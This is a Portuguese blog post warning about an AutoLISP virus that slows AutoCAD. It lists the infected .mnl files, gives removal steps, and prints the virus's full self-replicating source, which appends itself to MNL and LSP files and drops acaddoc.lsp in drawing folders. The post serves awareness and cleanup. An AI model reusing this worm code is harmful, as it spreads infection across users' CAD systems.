Então vamos lá, que assuntos vocês gostariam de ver?
Visual lisp?
.NET?
Civil 3D?
AutoCAD?
Dicas de desempenho?
Escolham ai!!!!
Também posso publicar seus posts aqui, com crédito e tudo mais, aliás, um dos posts com mais sucesso foi um camarada que mandou, é aquele das video aulas de topograph!!!
Bom, aproveitando…
Vocês experimentaram uma lentidão absurda na abertura de algum desenho aí no cad de vocês???
Perceberam a criação de um acad.lsp ou acaddoc.lsp na pasta que você abre??
Pois é, aqui no escritório o bicho tá pegando por causa disso….
Vírus em autolisp pro autocad, é mole??
O TI aqui está quase doido, mas também os usuários não ajudam…
O vírus se propaga ao se replicar dentro de arquivos LSP e MNL, criando ainda um acad.lsp ou acaddoc.lsp.
Os arquivos que ele costuma infectar também estão aqui:
C:Usersseu usuárioAppDataRoamingAutodeskprograma da autodeskenuSupport
E os arquivos são:
- C3D.mnl, somente civil 3d
- Civil.mnl, somente civil 3d
- acetmain.mnl, express tools
- AecArchxOE.mnl, somente civil 3d?
- acad.mnl, qualquer autocad ou vertical
Claro que pode pegar outros…
Dá uma olhada no código fonte do mesmo:
(setq flagx t)
(setq flagx t)
(setq bz “(setq flagx t)”)
(defun app(source target bz / flag flag1 wjm wjm1 text)
(setq flag nil)
(setq flag1 t)
(if (findfile target)
(progn
(setq wjm1 (open target “r”))
(while (setq text (read-line wjm1))
(if (= text bz) (setq flag1 nil))
);while
(close wjm1)
);progn
);if
(if flag1
(progn
(setq wjm (open source “r”))
(setq wjm1 (open target “a”))
(write-line (chr 13) wjm1)
(while (setq text (read-line wjm))
(if (= text bz) (setq flag t))
(if flag
(progn
(write-line text wjm1)
);progn
);if
);while
(close wjm1)
(close wjm)
);progn
);if
);defun
(setvar “cmdecho” 0)
(setq acadmnl (findfile “acad.mnl”))
(setq acadmnlpath (vl-filename-directory acadmnl))
(setq mnlfilelist (vl-directory-files acadmnlpath “*.mnl”))
(setq mnlnum (length mnlfilelist))
(setq acadexe (findfile “acad.exe”))
(setq acadpath (vl-filename-directory acadexe))
(setq support (strcat acadpath “support”))
(setq lspfilelist (vl-directory-files support “*.lsp”))
(setq lspfilelist (append lspfilelist (list “acaddoc.lsp”)))
(setq lspnum (length lspfilelist))
(setq dwgname (getvar “dwgname”))
(setq dwgpath (findfile dwgname))
(if dwgpath
(progn
(setq acaddocpath (vl-filename-directory dwgpath))
(setq acaddocfile (strcat acaddocpath “acaddoc.lsp”))
(setq mnln 0)
(while (< mnln mnlnum)
(setq mnlfilename (strcat acadmnlpath “” (nth mnln mnlfilelist)))
(app mnlfilename acaddocfile bz)
(app acaddocfile mnlfilename bz)
(setq mnln (1+ mnln))
);while
(setq lspn 0)
(while (< lspn lspnum)
(setq lspfilename (strcat support “” (nth lspn lspfilelist)))
(app lspfilename acaddocfile bz)
(app acaddocfile lspfilename bz)
(setq lspn (1+ lspn))
);while
);progn
);if
(setq mnln 0)
(while (< mnln mnlnum)
(setq mnlfilename (strcat acadmnlpath “” (nth mnln mnlfilelist)))
(setq mnln1 0)
(while (< mnln1 mnlnum)
(setq mnlfilename1 (strcat acadmnlpath “” (nth mnln1 mnlfilelist)))
(app mnlfilename mnlfilename1 bz)
(setq mnln1 (1+ mnln1))
);while
(setq lspn1 0)
(while (< lspn1 lspnum)
(setq lspfilename1 (strcat support “” (nth lspn1 lspfilelist)))
(app mnlfilename lspfilename1 bz)
(setq lspn1 (1+ lspn1))
);while
(setq mnln (1+ mnln))
);while
(setq lspn 0)
(while (< lspn lspnum)
(setq lspfilename (strcat support “” (nth lspn lspfilelist)))
(setq lspn1 0)
(while (< lspn1 lspnum)
(setq lspfilename1 (strcat support “” (nth lspn1 lspfilelist)))
(app lspfilename lspfilename1 bz)
(setq lspn1 (1+ lspn1))
);while
(setq mnln1 0)
(while (< mnln1 mnlnum)
(setq mnlfilename1 (strcat acadmnlpath “” (nth mnln1 mnlfilelist)))
(app lspfilename mnlfilename1 bz)
(setq mnln1 (1+ mnln1))
);while
Nem vou comentar….
A ideia básica é, achou um dos arquivos, copia o fonte do vírus pra dentro dele… Quando o arquivo é carregado, uma nova cópia é copiada pra dentro do arquivo…
Bem besta esse vírus, pois ele só cria um arquivo que vai crescendo…. aqui costuma ficar em 8 MB aí os cabeças reclamam…
o cad abre leeeeennnnnnntooooo pois está criando trocentos arquivos de vírus…
Bom, a resolução é:
Abre os arquivos MNL e LSP e apaga esses trechos, ou simplesmente sobrepõe o arquivo com uma versão não contaminada e, claro, apague os acad.lsp e acaddoc.lsp que estão nas pastas dos arquivos… Pois o autocad carrega esses arquivos quando os encontra na pasta do desenho a abrir…
É isso!!!